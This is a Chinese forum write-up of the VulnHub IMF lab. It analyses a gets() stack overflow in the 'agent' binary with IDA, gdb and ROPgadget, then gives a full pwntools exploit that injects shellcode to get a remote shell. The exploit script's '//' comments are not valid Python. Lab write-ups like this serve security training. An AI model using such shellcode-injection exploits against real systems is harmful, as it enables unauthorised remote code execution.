电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 1179 人浏览分享

vulnhub_IMF缓冲区溢出详解

[复制链接]
1179 0
由于此靶机已被大佬们发过很多复现过程,这里主要介绍一下针对缓冲区溢出漏洞的思路。

一、文件分析

1.1 查看文件保护

首先使用file命令查看文件信息
  1. file agent
  2. checksec agent
复制代码

989.JPG

可以看到文件基本信息:32位、小端序、动态链接程序,且存在可读可写可执行段。

1.2 伪代码分析

将agent文件拖入32位的IDA中进行分析,
按shift+f12没找到system('/bin/sh')相关内容,
按F5查看伪代码。
  1. int __cdecl main(int argc, const char **argv, const char **envp)
  2. {
  3.   int result; // eax
  4.   char *s2; // [esp+8h] [ebp-20h] BYREF
  5.   char s[10]; // [esp+Eh] [ebp-1Ah] BYREF
  6.   int v6; // [esp+18h] [ebp-10h]
  7.   char v7; // [esp+1Fh] [ebp-9h]

  8.   setbuf(stdout, 0);
  9.   asprintf(&s2, "%i", 48093572);       
  10.   //asprintf()可以说是一个增强版的sprintf(),在不确定字符串的长度时,能够根据格式化
  11. 的字符串长度申请足够的内存空间。

  12.   puts("  ___ __  __ ___ ");
  13.   puts(" |_ _|  \\/  | __|  Agent");
  14.   puts("  | || |\\/| | _|   Reporting");
  15.   puts(" |___|_|  |_|_|    System\n");
  16.   printf("\nAgent ID : ");
  17.   if ( !fgets(s, 9, stdin) )
  18.     return -1;
  19.   if ( !strncmp(s, s2, 8u) )        //strncmp函数为字符串比较函数,功能是把 str1 和 str2 进行比较,最多比较前 n 个字节
  20. 若str1与str2的前n个字符相同,则返回0;若s1大于s2,则返回大于0的值;若s1 小于s2,则返回小于0的值。
  21.   {
  22.     do
  23.       v7 = getchar();
  24.     while ( v7 != 10 && v7 != -1 );
  25.     puts("Login Validated ");
  26.     v6 = menu();
  27.     switch ( v6 )
  28.     {
  29.       case 1:
  30.         extractionpoints();
  31.         break;
  32.       case 2:
  33.         requestextraction();
  34.         break;
  35.       case 3:
  36.         report();        //溢出函数
  37.         break;
  38.       default:
  39.         puts("Exiting...");
  40.         break;
  41.     }
  42.     result = 0;
  43.   }
  44.   else
  45.   {
  46.     puts("Invalid Agent ID ");
  47.     result = -2;
  48.   }
  49.   return result;
  50. }
复制代码

下面是溢出函数report,
  1. {
  2.   char s[152]; // [esp+4h] [ebp-A4h] BYREF
  3.   char *v2; // [esp+9Ch] [ebp-Ch]

  4.   printf("\nEnter report update: ");
  5.   gets(s);        //溢出点
  6.   printf("Report: %s\n", s);
  7.   puts("Submitted for review.");
  8.   v2 = s;
  9.   return s;
  10. }
复制代码

看完伪代码后总结下,溢出的位置不难找,只要控制report中的gets函数读入填充的数据,即可产生栈溢出但是没有
shellcode需要我们自己写入RWX段,然后将函数的返回地址改为shellcode地址。

1.3 gdb分析

使用gdb分析,计算栈偏移 首先在fgets函数那里打个断点。

988.JPG

  1. gdb ./agent
  2. b *0x8048697
  3. r
  4. n
复制代码

然后输入48093572(这里主要是越过strncmp函数,需要让S2与S相同)。
48093572

69.JPG

之后一直按n步过到menu,输入3进入report函数。

68.JPG

执行到call report这里步过之后,按s步入,之后继续步过到gets函数,输入'我是猪!我是猪!'

66.JPG

输入stack48在栈中找到EBP和字符串'我是猪!我是猪!'的位置。
  1. stack 48
复制代码

输入的'我是猪!我是猪!'在eax中,位置如下:

39.JPG

指向栈低的指针EBP位置如下:

38.JPG

从而计算得出栈偏移为
  1. 栈偏移 = EBP地址 - 当前输入地址 + EBP字长
  2.        = 0xd188 - 0xd0e4 + 4 = 168
复制代码

找到栈偏移之后,我们需要将return地址修改为shellcode地址,这里可以使用ROPgadget寻找包含call eax的
代码段这里找到call eax地址为0x8048563。
  1. ROPgadget --binary agent | grep "call eax"
复制代码

36.JPG

二、EXP编写

这里放上自己用pwntools,通过asm构造shellcode内容需要安装pwntools库
写完之后直接运行就getshell了。
  1. from pwn import *
  2. io = remote("192.168.56.6", 7788)   //需修改为靶机IP、端口
  3. shellcode = asm(shellcraft.sh())        //生成payload
  4. shell_addr = 0x8048563        //call eax的地址
  5. io.recvuntil(b"Agent ID : ")
  6. io.send(b"48093572\n")        //绕过strncmp函数
  7. io.recvuntil(b"Enter selection: ")
  8. io.send(b"3\n") //选择进入report函数
  9. io.recv()
  10. io.sendline(shellcode + b"A" * (168 - len(shellcode))  + p32(shell_addr))
  11. io.interactive()
复制代码
  1. python3 shell.exp
复制代码

35.JPG

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.